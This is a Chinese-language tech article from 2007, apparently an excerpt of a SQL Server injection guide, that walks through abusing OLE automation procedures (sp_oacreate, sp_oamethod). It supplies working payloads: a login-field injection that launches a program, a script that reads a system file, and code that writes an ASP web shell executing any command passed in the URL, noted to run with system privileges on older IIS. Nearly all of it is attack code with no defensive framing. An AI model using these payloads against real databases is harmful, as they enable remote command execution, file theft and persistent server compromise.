扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
作者:aspcool 来源:aspcool 2007年9月15日
关键字: 注入 SQL Server SQL Server 各版本 数据库
(1)这个例子使用''wscript.shell''对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate ''wscript.shell'',@o out
exec sp_oamethod @o,''run'',NULL,''notepad.exe''
我们可以通过指定在用户名后面来执行它:
Username:''; declare @o int exec sp_oacreate ''wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''—
(2)这个例子使用''scripting.filesystemobject''对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ''scripting.filesystemobject'', @o out
exec sp_oamethod @o, ''opentextfile'', @f out, ''c:\boot.ini'', 1
exec @ret=sp_oamethod @f,''readline'',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,''readline'',@line out
end
(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example – create a ''run this''.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ''scripting.filesystemobject'',@o out
exec sp_oamethod @o,''createtextfile'',@f out,''c:\inetpub\wwwroot\foo.asp'',1
exec @ret=sp_oamethod @f,''writeline'',NULL,''<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>''
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用''speech.voicetext''对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate ''speech.voicetext'',@o out
exec sp_oamethod @o,''register'',NULL,''foo'',''bar''
exec sp_oasetproperty @o,''speed'',150
exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to,us'',528
waitfor delay ''00:00:05''
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者